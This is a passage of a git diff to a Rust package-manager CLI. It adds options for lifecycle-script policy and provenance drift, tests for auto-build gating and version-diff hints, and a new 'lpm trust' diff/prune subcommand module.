do. Previously we passed + // only (name, version) and the lenient name-only gate + // could show drifted rich bindings as trusted ✓. + let all_pkgs: Vec<(String, String, Option)> = packages + .iter() + .map(|p| (p.name.clone(), p.version.clone(), p.integrity.clone())) + .collect(); + crate::commands::build::show_install_build_hint( + &store, + &all_pkgs, + &policy, + project_dir, + ); + output::info( + "Run `lpm approve-builds` to review and approve their lifecycle scripts.", + ); + } + // Phase 46 P7: terse version-diff hints per blocked entry + // with a prior binding. Mirrors the run_with_options + // site; same stream-separation discipline. + maybe_emit_post_install_version_diff_hints(project_dir, &blocked_capture, json_output); } } @@ -3353,21 +4315,18 @@ async fn run_link_and_finish( json["blocked_set_changed"] = serde_json::json!(blocked_capture.should_emit_warning); json["blocked_set_fingerprint"] = serde_json::json!(blocked_capture.state.blocked_set_fingerprint); + // Phase 46 P6 Chunk 4 + P7 Chunk 4: per-entry shape now + // includes `static_tier` (P6) and `version_diff` (P7) via + // the shared `version_diff::blocked_to_json` helper — + // mirrors the run_with_options site above. See that site's + // comment block for the wire-shape rationale. + let trusted_for_json = read_trusted_deps_from_manifest(project_dir).unwrap_or_default(); json["blocked_packages"] = serde_json::Value::Array( blocked_capture .state .blocked_packages .iter() - .map(|bp| { - serde_json::json!({ - "name": bp.name, - "version": bp.version, - "integrity": bp.integrity, - "script_hash": bp.script_hash, - "phases_present": bp.phases_present, - "binding_drift": bp.binding_drift, - }) - }) + .map(|bp| crate::version_diff::blocked_to_json(bp, &trusted_for_json)) .collect(), ); println!("{}", serde_json::to_string_pretty(&json).unwrap()); @@ -4590,6 +5549,16 @@ pub async fn run_add_packages( allow_new: bool, force: bool, save_flags: crate::save_spec::SaveFlags, + // Phase 46 P2 Chunk 5: forwarded CLI-side policy override. See + // [`run_with_options`] for the resolution precedence and the + // current consumer (triage-mode install summary line). + script_policy_override: Option, + // Phase 46 P3: forwarded `--min-release-age=` override. + // Opaque pass-through — see [`run_with_options`]. + min_release_age_override: Option, + // Phase 46 P4 Chunk 4: forwarded `--ignore-provenance-drift[-all]` + // policy. Opaque pass-through — see [`run_with_options`]. + drift_ignore_policy: crate::provenance_fetch::DriftIgnorePolicy, ) -> Result<(), LpmError> { // First pass: check if any LPM packages are Swift ecosystem // Route Swift packages to SE-0292 registry mode @@ -4700,6 +5669,9 @@ pub async fn run_add_packages( false, // auto_build None, // target_set: legacy single-project path Some(&mut direct_versions), + script_policy_override, + min_release_age_override, + drift_ignore_policy, ) .await?; @@ -4743,6 +5715,14 @@ pub async fn run_install_filtered_add( allow_new: bool, force: bool, save_flags: crate::save_spec::SaveFlags, + // Phase 46 P2 Chunk 5: forwarded CLI-side policy override. + script_policy_override: Option, + // Phase 46 P3: forwarded `--min-release-age=` override. + // Opaque pass-through — see [`run_with_options`]. + min_release_age_override: Option, + // Phase 46 P4 Chunk 4: forwarded `--ignore-provenance-drift[-all]` + // policy. Opaque pass-through — see [`run_with_options`]. + drift_ignore_policy: crate::provenance_fetch::DriftIgnorePolicy, ) -> Result<(), LpmError> { // 1. Resolve CLI flags into a concrete target list. let targets = crate::commands::install_targets::resolve_install_targets( @@ -4963,6 +5943,14 @@ pub async fn run_install_filtered_add( false, // auto_build Some(&target_paths), Some(&mut direct_versions), + script_policy_override, + min_release_age_override, + // Multi-member loop: `run_install_filtered_add` runs the + // install pipeline once per targeted member. Each + // iteration consumes the policy, so we clone per call. + // Cloning an enum + HashSet of ignored names is cheap + // relative to the per-iteration install pipeline itself. + drift_ignore_policy.clone(), ) .await; @@ -5476,25 +6464,11 @@ pub fn ensure_skills_gitignore(project_dir: &Path) { } } -/// Read `lpm.scripts.autoBuild` from package.json. -fn read_auto_build_config(project_dir: &Path) -> bool { - let pkg_json_path = project_dir.join("package.json"); - let content = match std::fs::read_to_string(&pkg_json_path) { - Ok(c) => c, - Err(_) => return false, - }; - let parsed: serde_json::Value = match serde_json::from_str(&content) { - Ok(v) => v, - Err(_) => return false, - }; - - parsed - .get("lpm") - .and_then(|l| l.get("scripts")) - .and_then(|s| s.get("autoBuild")) - .and_then(|v| v.as_bool()) - .unwrap_or(false) -} +// Phase 46 P1: `read_auto_build_config` was removed as part of +// consolidating script-config reads into +// `crate::script_policy_config::ScriptPolicyConfig`. Callers now +// access `.auto_build` on the loader's return value. Equivalent test +// coverage lives in `script_policy_config::tests`. #[cfg(test)] mod tests { @@ -5506,6 +6480,58 @@ mod tests { LOCK.get_or_init(|| Mutex::new(())).lock().unwrap() } + /// Phase 46 P5 Chunk 5 regression guard: the P4 drift gate MUST + /// appear in `install::run` before the `build::run` auto-build + /// call site. If a future refactor moves the drift check past + /// the build call, a drifted approval would first spawn scripts + /// and only after reject — violating D20 ("no auto-execution + /// before containment is established") and the Chunk 1 signoff + /// commitment that a resolution-time deny must short-circuit + /// the execution path. + /// + /// This test is source-level by design. The drift check's + /// control flow is a `?`-propagated early return embedded inside + /// a large async function; isolating it behaviorally would + /// require mocking the full registry + provenance pipeline. A + /// source-offset assertion catches the specific regression the + /// signoff asked to prevent — a reorder that moves the drift + /// block past the `build::run` call — at near-zero ceremony. + /// If the marker strings themselves get refactored, this test + /// fails LOUDLY rather than silently drifting; the failure + /// message names what needs updating. + #[test] + fn p4_drift_gate_precedes_p5_build_run_call_site() { + let src = include_str!(concat!( + env!("CARGO_MANIFEST_DIR"), + "/src/commands/install.rs" + )); + const DRIFT_MARKER: &str = "Phase 46 P4 Chunk 3: provenance-drift gate"; + const BUILD_RUN_CALL: &str = "crate::commands::build::run("; + + let drift_pos = src.find(DRIFT_MARKER).unwrap_or_else(|| { + panic!( + "drift-gate marker `{DRIFT_MARKER}` disappeared from install.rs — \ + if the comment was legitimately renamed, update this test with the \ + new marker. If the drift gate was removed, that's a major regression \ + that needs explicit signoff." + ) + }); + let build_run_pos = src.find(BUILD_RUN_CALL).unwrap_or_else(|| { + panic!( + "build::run call site (`{BUILD_RUN_CALL}`) not found — the \ + install → auto-build handoff was removed or renamed; update this \ + test to target the new call." + ) + }); + assert!( + drift_pos < build_run_pos, + "P4-before-P5 invariant broken: the P4 provenance-drift gate (byte {drift_pos}) \ + MUST appear before the `build::run` call site (byte {build_run_pos}) in \ + install.rs. Reordering them means a drifted approval could spawn scripts \ + before the drift check fires — violating D20 and Chunk 1 signoff #5." + ); + } + #[cfg(unix)] struct StdinSwapGuard { original_stdin_fd: std::os::fd::RawFd, @@ -5584,27 +6610,11 @@ mod tests { assert!(!should_auto_build(false, false, false)); } - #[test] - fn read_auto_build_config_reads_nested_lpm_flag() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write( - dir.path().join("package.json"), - r#"{"lpm":{"scripts":{"autoBuild":true}}}"#, - ) - .unwrap(); - - assert!(read_auto_build_config(dir.path())); - } - - #[test] - fn read_auto_build_config_defaults_false_for_missing_or_invalid_json() { - let dir = tempfile::tempdir().unwrap(); - std::fs::write(dir.path().join("package.json"), r#"{"name":"demo"}"#).unwrap(); - assert!(!read_auto_build_config(dir.path())); - - std::fs::write(dir.path().join("package.json"), "{not json").unwrap(); - assert!(!read_auto_build_config(dir.path())); - } + // Phase 46 P1: the two `read_auto_build_config_*` tests were + // removed alongside the ad-hoc helper. Equivalent coverage lives + // in `script_policy_config::tests::from_package_json_reads_all_four_keys` + // and `::from_package_json_missing_file_returns_defaults` and + // `::from_package_json_malformed_json_returns_defaults`. /// Build a PackageMetadata with the given version strings and latest tag. fn make_metadata(versions: &[&str], latest: &str) -> lpm_registry::PackageMetadata { @@ -6573,6 +7583,9 @@ mod tests { false, // allow_new false, // force crate::save_spec::SaveFlags::default(), + None, // script_policy_override + None, // min_release_age_override + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift_ignore_policy ) .await; @@ -6608,6 +7621,9 @@ mod tests { false, false, crate::save_spec::SaveFlags::default(), + None, // script_policy_override + None, // min_release_age_override + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift_ignore_policy ) .await; @@ -7757,4 +8773,397 @@ mod tests { assert_eq!(gate_stats.shape_mismatch.load(Ordering::Relaxed), 0); assert_eq!(gate_stats.scheme_mismatch.load(Ordering::Relaxed), 0); } + + // ── Phase 46 P6 Chunk 4: post-auto-build triage pointer ───────── + // + // Tests exercise every gate of `compute_post_auto_build_triage_pointer` + // independently, plus the all-four-gates-pass case. The I/O + // half (`maybe_emit_post_auto_build_triage_pointer`) is a one- + // line wrapper over `output::warn` and is exercised by the + // Chunk 5 integration fixture, not these unit tests — capturing + // stdout here would add flake without buying coverage beyond + // what the decision-function tests already provide. + + /// Build a `BlockedSetCapture` with the given tier counts. The + /// decision function's only dependency on `BlockedSetCapture` is + /// the per-package `static_tier`, so we don't need real + /// integrity / script_hash / etc. — just the tier histogram. + fn bc_with_tiers( + green: usize, + amber: usize, + red: usize, + ) -> crate::build_state::BlockedSetCapture { + use lpm_security::triage::StaticTier; + let build_bp = |name: &str, tier: StaticTier| crate::build_state::BlockedPackage { + name: name.into(), + version: "1.0.0".into(), + integrity: None, + script_hash: None, + phases_present: vec!["postinstall".into()], + binding_drift: false, + static_tier: Some(tier), + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, + behavioral_tags: None, + }; + let mut packages = Vec::new(); + for i in 0..green { + packages.push(build_bp(&format!("green-{i}"), StaticTier::Green)); + } + for i in 0..amber { + packages.push(build_bp(&format!("amber-{i}"), StaticTier::Amber)); + } + for i in 0..red { + packages.push(build_bp(&format!("red-{i}"), StaticTier::Red)); + } + crate::build_state::BlockedSetCapture { + state: crate::build_state::BuildState { + state_version: crate::build_state::BUILD_STATE_VERSION, + captured_at: "unused-in-test".into(), + blocked_packages: packages, + blocked_set_fingerprint: "unused-in-test".into(), + }, + previous_fingerprint: None, + should_emit_warning: false, + all_clear_banner: false, + } + } + + #[test] + fn p6_chunk4_pointer_fires_under_triage_when_amber_remains() { + // The core Chunk 4 behavior: auto-build attempted, triage, + // non-JSON, and the capture had amber entries (reds would + // trigger too). User sees a pointer telling them `lpm + // approve-builds` is next. + let bc = bc_with_tiers(1, 2, 0); + let msg = compute_post_auto_build_triage_pointer( + true, + crate::script_policy_config::ScriptPolicy::Triage, + &bc, + false, + ); + let msg = msg.expect("pointer must fire under triage when amber > 0"); + // Anchor the wire shape so CI scripts that grep this line stay + // stable across refactors. The shape is a P6 contract. + assert!(msg.contains("remain blocked after auto-build")); + assert!(msg.contains("2 amber")); + assert!(msg.contains("0 red")); + assert!(msg.contains("lpm approve-builds")); + } + + #[test] + fn p6_chunk4_pointer_fires_under_triage_when_red_remains() { + // Red-only is the same contract as amber-only: the pointer + // fires. A red blocked package cannot be auto-approved by + // any P6 path; the user must review. + let bc = bc_with_tiers(3, 0, 1); + let msg = compute_post_auto_build_triage_pointer( + true, + crate::script_policy_config::ScriptPolicy::Triage, + &bc, + false, + ); + let msg = msg.expect("pointer must fire under triage when red > 0"); + assert!(msg.contains("0 amber")); + assert!(msg.contains("1 red")); + } + + #[test] + fn p6_chunk4_pointer_silent_when_only_greens_remain() { + // Auto-build ran greens; nothing non-green survives. The + // blocked_capture still lists the greens (captured before + // auto-build) but the user has no review work ahead, so no + // pointer. This is the "quiet builds stay quiet" contract. + let bc = bc_with_tiers(5, 0, 0); + assert_eq!( + compute_post_auto_build_triage_pointer( + true, + crate::script_policy_config::ScriptPolicy::Triage, + &bc, + false, + ), + None, + "greens-only blocked capture must not fire the pointer — auto-build \ + consumed the greens and nothing remains to review" + ); + } + + #[test] + fn p6_chunk4_pointer_silent_when_auto_build_did_not_run() { + // A user running `lpm install` under triage + autoBuild=false + // + mixed tiers: auto-build never ran, so a "remain blocked + // after auto-build" message would misrepresent what happened. + // The pre-auto-build triage summary line covers this case; + // Chunk 4's pointer is strictly a follow-up. + let bc = bc_with_tiers(1, 1, 1); + assert_eq!( + compute_post_auto_build_triage_pointer( + false, + crate::script_policy_config::ScriptPolicy::Triage, + &bc, + false, + ), + None, + "pointer must stay silent when auto-build was not attempted — \ + otherwise the message name 'after auto-build' is a lie" + ); + } + + #[test] + fn p6_chunk4_pointer_silent_under_deny() { + let bc = bc_with_tiers(0, 2, 1); + assert_eq!( + compute_post_auto_build_triage_pointer( + true, + crate::script_policy_config::ScriptPolicy::Deny, + &bc, + false, + ), + None, + "pointer must stay silent under deny — deny users route through \ + the pre-auto-build blocked hint, not a triage-specific follow-up" + ); + } + + #[test] + fn p6_chunk4_pointer_silent_under_allow() { + // Allow semantics don't exercise the blocked-set flow in the + // canonical case; a pointer here would be confusing. P1-era + // allow-widening gap tracked for Chunk 6. + let bc = bc_with_tiers(0, 2, 1); + assert_eq!( + compute_post_auto_build_triage_pointer( + true, + crate::script_policy_config::ScriptPolicy::Allow, + &bc, + false, + ), + None, + ); + } + + #[test] + fn p6_chunk4_pointer_silent_in_json_mode() { + // JSON mode's channel is the per-entry `static_tier` in the + // `blocked_packages` array (also Chunk 4). Emitting a stdout + // warn line here would muddle the JSON contract for agents. + let bc = bc_with_tiers(0, 2, 1); + assert_eq!( + compute_post_auto_build_triage_pointer( + true, + crate::script_policy_config::ScriptPolicy::Triage, + &bc, + true, + ), + None, + "pointer must stay silent in JSON mode — the structured \ + notice is the per-entry static_tier enrichment, not a \ + stdout line" + ); + } + + #[test] + fn p6_chunk4_pointer_wire_shape_stable_for_all_tiers() { + // Agent-parseable contract: the message names exact amber + + // red counts. Pin shape so CI greps stay stable. + let bc = bc_with_tiers(0, 3, 2); + let msg = compute_post_auto_build_triage_pointer( + true, + crate::script_policy_config::ScriptPolicy::Triage, + &bc, + false, + ) + .unwrap(); + assert!(msg.starts_with("5 package(s) remain blocked after auto-build")); + assert!(msg.contains("3 amber")); + assert!(msg.contains("2 red")); + assert!(msg.ends_with("Run `lpm approve-builds` to review.")); + } + + // ─── Phase 46 P7 Chunk 2 — version-diff hint computation ────── + // + // Pure-decision tests for `compute_post_install_version_diff_hints`. + // The I/O wrapper (`maybe_emit_post_install_version_diff_hints`) + // is exercised by the C5 reference fixture under a real + // subprocess + the existing P6 stream-separation pattern; unit- + // testing it here would require capturing stderr (flaky) without + // adding coverage beyond what the pure decision already gives. + + fn bp_for_diff( + name: &str, + version: &str, + script_hash: Option<&str>, + behavioral_tags: Option>, + ) -> crate::build_state::BlockedPackage { + crate::build_state::BlockedPackage { + name: name.into(), + version: version.into(), + integrity: Some(format!("sha512-{name}-{version}")), + script_hash: script_hash.map(String::from), + phases_present: vec!["postinstall".into()], + binding_drift: false, + static_tier: Some(lpm_security::triage::StaticTier::Green), + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, + behavioral_tags: behavioral_tags.map(|v| v.into_iter().map(String::from).collect()), + } + } + + fn bc_with_blocked( + packages: Vec, + ) -> crate::build_state::BlockedSetCapture { + crate::build_state::BlockedSetCapture { + state: crate::build_state::BuildState { + state_version: crate::build_state::BUILD_STATE_VERSION, + captured_at: "unused-in-test".into(), + blocked_packages: packages, + blocked_set_fingerprint: "unused-in-test".into(), + }, + previous_fingerprint: None, + should_emit_warning: false, + all_clear_banner: false, + } + } + + #[test] + fn p7_post_install_hints_empty_when_blocked_set_is_empty() { + let bc = bc_with_blocked(vec![]); + let trusted = lpm_workspace::TrustedDependencies::default(); + let hints = compute_post_install_version_diff_hints(&bc, &trusted); + assert!(hints.is_empty()); + } + + #[test] + fn p7_post_install_hints_empty_when_no_prior_bindings_match() { + // Blocked entry exists but trusted deps have no entry for + // any prior version of the same name. First-time review path. + let bc = bc_with_blocked(vec![bp_for_diff( + "esbuild", + "0.25.1", + Some("sha256-fresh"), + None, + )]); + let trusted = lpm_workspace::TrustedDependencies::default(); + let hints = compute_post_install_version_diff_hints(&bc, &trusted); + assert!(hints.is_empty(), "no prior binding → no hint"); + } + + #[test] + fn p7_post_install_hints_emits_one_per_drifted_blocked_with_prior() { + // Two blocked, both with prior bindings, both drifted. + // Expect two hints, in blocked_packages order. + use lpm_workspace::TrustedDependencies; + use std::collections::HashMap; + + let bc = bc_with_blocked(vec![ + bp_for_diff("axios", "1.14.1", Some("sha256-axios-new"), None), + bp_for_diff("esbuild", "0.25.2", Some("sha256-esbuild-new"), None), + ]); + let mut map = HashMap::new(); + map.insert( + "axios@1.14.0".into(), + lpm_workspace::TrustedDependencyBinding { + script_hash: Some("sha256-axios-old".into()), + ..Default::default() + }, + ); + map.insert( + "esbuild@0.25.1".into(), + lpm_workspace::TrustedDependencyBinding { + script_hash: Some("sha256-esbuild-old".into()), + ..Default::default() + }, + ); + let trusted = TrustedDependencies::Rich(map); + + let hints = compute_post_install_version_diff_hints(&bc, &trusted); + assert_eq!(hints.len(), 2); + // blocked_packages is sorted by (name, version) inside + // compute_blocked_packages_with_metadata; the bc helper here + // uses the order passed. For this assertion we only care + // about set membership. + let joined = hints.join("\n"); + assert!(joined.contains("axios@1.14.1")); + assert!(joined.contains("esbuild@0.25.2")); + assert!(joined.contains("script content changed since v1.14.0")); + assert!(joined.contains("script content changed since v0.25.1")); + } + + #[test] + fn p7_post_install_hints_skip_blocked_with_prior_but_no_change() { + // Edge case: prior binding exists, but the diff classifies + // as NoChange (e.g., script_hash equal because it hasn't + // actually drifted; the entry might be blocked for an + // unrelated reason like `binding_drift = false` / + // `NotTrusted`). The hint must NOT fire — there is nothing + // to surface. + use lpm_workspace::TrustedDependencies; + use std::collections::HashMap; + + let bc = bc_with_blocked(vec![bp_for_diff( + "stable", + "2.0.0", + Some("sha256-same"), + None, + )]); + let mut map = HashMap::new(); + map.insert( + "stable@1.0.0".into(), + lpm_workspace::TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + ..Default::default() + }, + ); + let trusted = TrustedDependencies::Rich(map); + + let hints = compute_post_install_version_diff_hints(&bc, &trusted); + assert!( + hints.is_empty(), + "NoChange diff must NOT produce a terse hint — got {hints:?}" + ); + } + + #[test] + fn p7_post_install_hints_surface_behavioral_tag_delta_per_ship_criterion() { + // Ship criterion 2 at the install layer: gained tags must + // appear in the install output without entering approve- + // builds. This is the C2 verification of the criterion at + // the post-install enrichment site (the preflight card path + // is the second verification — covered by the + // version_diff::tests rendering tests). + use lpm_workspace::TrustedDependencies; + use std::collections::HashMap; + + let bc = bc_with_blocked(vec![bp_for_diff( + "suspicious", + "2.0.0", + Some("sha256-same"), + Some(vec!["crypto", "eval", "network"]), + )]); + let mut bp_with_hash = bc.state.blocked_packages[0].clone(); + bp_with_hash.behavioral_tags_hash = Some("sha256-after".into()); + let bc = bc_with_blocked(vec![bp_with_hash]); + + let mut map = HashMap::new(); + map.insert( + "suspicious@1.0.0".into(), + lpm_workspace::TrustedDependencyBinding { + script_hash: Some("sha256-same".into()), + behavioral_tags_hash: Some("sha256-before".into()), + behavioral_tags: Some(vec!["crypto".into()]), + ..Default::default() + }, + ); + let trusted = TrustedDependencies::Rich(map); + + let hints = compute_post_install_version_diff_hints(&bc, &trusted); + assert_eq!(hints.len(), 1); + let line = &hints[0]; + assert!( + line.contains("+eval") && line.contains("+network"), + "gained tags must surface in terse hint — got {line}" + ); + } } diff --git a/crates/lpm-cli/src/commands/install_global.rs b/crates/lpm-cli/src/commands/install_global.rs index 38aef259..dca44633 100644 --- a/crates/lpm-cli/src/commands/install_global.rs +++ b/crates/lpm-cli/src/commands/install_global.rs @@ -560,6 +560,9 @@ async fn do_install( false, // auto_build (M5 surface) None, None, + None, // script_policy_override: global install does not expose policy flags + None, // min_release_age_override: D13/D19 — global scope is out of P3, cooldown uses the chain + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift-ignore: D13/D19 — global scope is out of P4 as well ) .await?; @@ -1979,6 +1982,7 @@ mod tests { tarball: Some(tarball_url), integrity: Some(integrity), shasum: None, + ..Default::default() }), ..lpm_registry::VersionMetadata::default() } diff --git a/crates/lpm-cli/src/commands/migrate.rs b/crates/lpm-cli/src/commands/migrate.rs index 350d2e7b..7b828b47 100644 --- a/crates/lpm-cli/src/commands/migrate.rs +++ b/crates/lpm-cli/src/commands/migrate.rs @@ -217,7 +217,10 @@ pub async fn run( } match super::install::run_with_options( - client, cwd, json, false, // not offline — need to download tarballs + client, + cwd, + json, + false, // not offline — need to download tarballs false, // force false, // allow_new None, // linker_override @@ -227,6 +230,9 @@ pub async fn run( false, // auto_build None, // target_set: migrate is single-project None, // direct_versions_out: migrate does not finalize Phase 33 placeholders + None, // script_policy_override: `lpm migrate` does not expose policy flags + None, // min_release_age_override: `lpm migrate` uses the chain + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift-ignore: `lpm migrate` enforces drift ) .await { diff --git a/crates/lpm-cli/src/commands/mod.rs b/crates/lpm-cli/src/commands/mod.rs index 66eff4d8..d91e851f 100644 --- a/crates/lpm-cli/src/commands/mod.rs +++ b/crates/lpm-cli/src/commands/mod.rs @@ -46,6 +46,7 @@ pub mod store; pub mod swift_registry; pub mod token; pub mod tools; +pub mod trust; pub mod tunnel; pub mod uninstall; pub mod uninstall_global; diff --git a/crates/lpm-cli/src/commands/run.rs b/crates/lpm-cli/src/commands/run.rs index 9c9ef9a2..3dbb8db9 100644 --- a/crates/lpm-cli/src/commands/run.rs +++ b/crates/lpm-cli/src/commands/run.rs @@ -1498,17 +1498,20 @@ pub async fn dlx( crate::commands::install::run_with_options( client, install.root(), - false, // json_output - false, // offline - false, // force - false, // allow_new - None, // linker_override - false, // no_skills - false, // no_editor_setup + false, // json_output + false, // offline + false, // force + false, // allow_new + None, // linker_override + false, // no_skills + false, // no_editor_setup true, // no_security_summary (dlx doesn't need it) false, // auto_build None, // target_set: dlx is single-project None, // direct_versions_out: dlx does not finalize Phase 33 placeholders + None, // script_policy_override: `lpm dlx` does not expose policy flags + None, // min_release_age_override: `lpm dlx` uses the chain + crate::provenance_fetch::DriftIgnorePolicy::default(), // drift-ignore: `lpm dlx` enforces drift ) .await?; } diff --git a/crates/lpm-cli/src/commands/trust.rs b/crates/lpm-cli/src/commands/trust.rs new file mode 100644 index 00000000..47a95565 --- /dev/null +++ b/crates/lpm-cli/src/commands/trust.rs @@ -0,0 +1,983 @@ +//! Phase 46 P1 — `lpm trust` user-facing subcommands. +//! +//! Two subcommands, both operating on +//! `/package.json > lpm > trustedDependencies` plus (for +//! `diff`) `/.lpm/trust-snapshot.json` written by the +//! install pipeline. +//! +//! ## `lpm trust diff` +//! +//! Read-only inspection of how the current manifest's trust bindings +//! differ from the last install's snapshot. The install pipeline +//! emits a brief notice for additions (plan §4.2); this command +//! gives the full picture — additions, removals, and same-key +//! binding changes — so the user can investigate before running +//! another install. +//! +//! ## `lpm trust prune` +//! +//! Remove stale `trustedDependencies` entries — ones whose package +//! name no longer appears in the resolved tree (lockfile). Useful +//! after removing a dependency: the approval entry lingers in +//! `package.json` forever otherwise (pre-Phase-46, `lpm build` +//! emits a "stale trustedDependencies" warning; `prune` is the +//! active fix). +//! +//! Per-version trust entries (e.g. `esbuild@0.25.1` when only +//! `esbuild@0.25.2` is installed) are NOT considered stale by name +//! alone — the name is still in the tree, just at a different +//! version. That's drift territory, handled by the strict-gate +//! `BindingDrift` path at install time. + +use crate::output; +use crate::trust_snapshot::{self, SnapshotEntry, TrustSnapshot}; +use clap::Subcommand; +use lpm_common::LpmError; +use lpm_workspace::{TrustedDependencies, TrustedDependencyBinding}; +use owo_colors::OwoColorize; +use std::collections::BTreeMap; +use std::path::Path; + +/// Stable JSON schema version for `lpm trust {diff,prune} --json`. +/// +/// Bumped independently of `build-state.json` / `trust-snapshot.json` +/// schemas because this is a user-facing output contract consumed by +/// agents and scripts. Same "only on breaking changes" discipline +/// as elsewhere in Phase 46. +pub const SCHEMA_VERSION: u32 = 1; + +/// `lpm trust `. +#[derive(Debug, Subcommand)] +pub enum TrustCmd { + /// Show how `package.json > lpm > trustedDependencies` differs + /// from the last install's snapshot. + /// + /// Surfaces additions (potential silent PR poisoning), + /// removals, and same-key binding changes. Read-only. + Diff { + /// Emit machine-readable JSON instead of human output. + #[arg(long)] + json: bool, + }, + /// Remove stale `trustedDependencies` entries (packages no + /// longer in the resolved tree). + Prune { + /// Skip the interactive confirmation prompt. Required on + /// non-TTY (e.g. CI). + #[arg(long, short = 'y')] + yes: bool, + /// Preview what would be pruned without writing to + /// `package.json`. + #[arg(long)] + dry_run: bool, + /// Emit machine-readable JSON instead of human output. + #[arg(long)] + json: bool, + }, +} + +/// Entry point called from main.rs. +pub async fn run(cmd: &TrustCmd, project_dir: &Path) -> Result<(), LpmError> { + match cmd { + TrustCmd::Diff { json } => run_diff(project_dir, *json).await, + TrustCmd::Prune { yes, dry_run, json } => { + run_prune(project_dir, *yes, *dry_run, *json).await + } + } +} + +// ─── lpm trust diff ──────────────────────────────────────────────── + +/// Classification of a single binding's change between snapshot and +/// current manifest. +#[derive(Debug, Clone, PartialEq, Eq)] +enum DiffKind { + /// Entry present in current, absent in snapshot. + Added, + /// Entry present in snapshot, absent in current. + Removed, + /// Same key in both but at least one of (integrity, script_hash) + /// changed. + Changed, +} + +#[derive(Debug, Clone)] +struct DiffEntry { + key: String, + kind: DiffKind, + previous: Option, + current: Option, +} + +/// Compute the full three-way diff between snapshot and current +/// manifest bindings. +/// +/// Stable-ordered: additions first (lexicographic), then removals, +/// then changes — matching the rendering convention so downstream +/// JSON consumers don't have to re-sort. +fn compute_full_diff(snapshot: Option<&TrustSnapshot>, current: &TrustSnapshot) -> Vec { + let empty = BTreeMap::new(); + let prev = snapshot.map(|s| &s.bindings).unwrap_or(&empty); + let curr = ¤t.bindings; + + let mut added: Vec = Vec::new(); + let mut removed: Vec = Vec::new(); + let mut changed: Vec = Vec::new(); + + for (key, curr_entry) in curr { + match prev.get(key) { + None => added.push(DiffEntry { + key: key.clone(), + kind: DiffKind::Added, + previous: None, + current: Some(curr_entry.clone()), + }), + Some(prev_entry) if prev_entry != curr_entry => changed.push(DiffEntry { + key: key.clone(), + kind: DiffKind::Changed, + previous: Some(prev_entry.clone()), + current: Some(curr_entry.clone()), + }), + Some(_) => {} // identical, skip + } + } + for (key, prev_entry) in prev { + if !curr.contains_key(key) { + removed.push(DiffEntry { + key: key.clone(), + kind: DiffKind::Removed, + previous: Some(prev_entry.clone()), + current: None, + }); + } + } + + // BTreeMap iteration already yields sorted keys; concatenating + // added → removed → changed preserves lexicographic order WITHIN + // each class, which is the user-visible rendering order. + added.extend(removed); + added.extend(changed); + added +} + +async fn run_diff(project_dir: &Path, json: bool) -> Result<(), LpmError> { + let pkg_json_path = project_dir.join("package.json"); + if !pkg_json_path.exists() { + return Err(LpmError::NotFound( + "lpm trust diff requires a package.json in the current directory.".into(), + )); + } + let pkg = lpm_workspace::read_package_json(&pkg_json_path) + .map_err(|e| LpmError::Registry(format!("failed to read package.json: {e}")))?; + + let snapshot = trust_snapshot::read_snapshot(project_dir); + let current = TrustSnapshot::capture_current( + pkg.lpm + .as_ref() + .map(|l| &l.trusted_dependencies) + .unwrap_or(&TrustedDependencies::Legacy(Vec::new())), + ); + let entries = compute_full_diff(snapshot.as_ref(), ¤t); + + if json { + print_diff_json(&entries, snapshot.as_ref(), ¤t); + } else { + print_diff_human(&entries, snapshot.as_ref()); + } + Ok(()) +} + +fn print_diff_json( + entries: &[DiffEntry], + snapshot: Option<&TrustSnapshot>, + current: &TrustSnapshot, +) { + let body = serde_json::json!({ + "schema_version": SCHEMA_VERSION, + "command": "trust diff", + "snapshot_captured_at": snapshot.map(|s| s.captured_at.clone()), + "current_binding_count": current.bindings.len(), + "added": entries.iter().filter(|e| e.kind == DiffKind::Added) + .map(diff_entry_json).collect::>(), + "removed": entries.iter().filter(|e| e.kind == DiffKind::Removed) + .map(diff_entry_json).collect::>(), + "changed": entries.iter().filter(|e| e.kind == DiffKind::Changed) + .map(diff_entry_json).collect::>(), + }); + println!("{}", serde_json::to_string_pretty(&body).unwrap()); +} + +fn diff_entry_json(e: &DiffEntry) -> serde_json::Value { + serde_json::json!({ + "key": e.key, + "previous": e.previous, + "current": e.current, + }) +} + +fn print_diff_human(entries: &[DiffEntry], snapshot: Option<&TrustSnapshot>) { + if entries.is_empty() { + match snapshot { + Some(s) => output::success(&format!( + "trustedDependencies unchanged since last install ({})", + s.captured_at, + )), + None => output::info( + "no prior snapshot (this project hasn't been installed with LPM before)", + ), + } + return; + } + + if let Some(s) = snapshot { + output::info(&format!( + "trustedDependencies diff vs. snapshot from {}:", + s.captured_at + )); + } else { + output::info("trustedDependencies (no prior snapshot to compare against):"); + } + + for e in entries { + match e.kind { + DiffKind::Added => { + println!(" {} {}", "+".green(), e.key.bold()); + } + DiffKind::Removed => { + println!(" {} {}", "-".red(), e.key.bold()); + } + DiffKind::Changed => { + println!(" {} {}", "~".yellow(), e.key.bold()); + if let (Some(prev), Some(curr)) = (&e.previous, &e.current) { + render_binding_delta("integrity", &prev.integrity, &curr.integrity); + render_binding_delta("scriptHash", &prev.script_hash, &curr.script_hash); + } + } + } + } +} + +fn render_binding_delta(name: &str, prev: &Option, curr: &Option) { + if prev == curr { + return; + } + let prev_s = prev.as_deref().unwrap_or(""); + let curr_s = curr.as_deref().unwrap_or(""); + println!(" {name}: {} → {}", prev_s.dimmed(), curr_s); +} + +// ─── lpm trust prune ─────────────────────────────────────────────── + +/// Determine which `trustedDependencies` keys are stale — their +/// package NAME no longer appears anywhere in the resolved tree. +/// +/// "Name no longer in the resolved tree" means: the lockfile has +/// zero entries with this name, regardless of version. Per-version +/// drift (same name, different version) is NOT stale here — that's +/// BindingDrift at install time. +fn compute_stale_keys( + trusted: &TrustedDependencies, + installed_names: &std::collections::HashSet, +) -> Vec { + let mut stale: Vec = Vec::new(); + match trusted { + TrustedDependencies::Legacy(names) => { + for n in names { + if !installed_names.contains(n) { + stale.push(n.clone()); + } + } + } + TrustedDependencies::Rich(map) => { + for key in map.keys() { + // Rich keys are "name@version"; extract the name half + // (everything before the LAST `@`, so scoped packages + // like 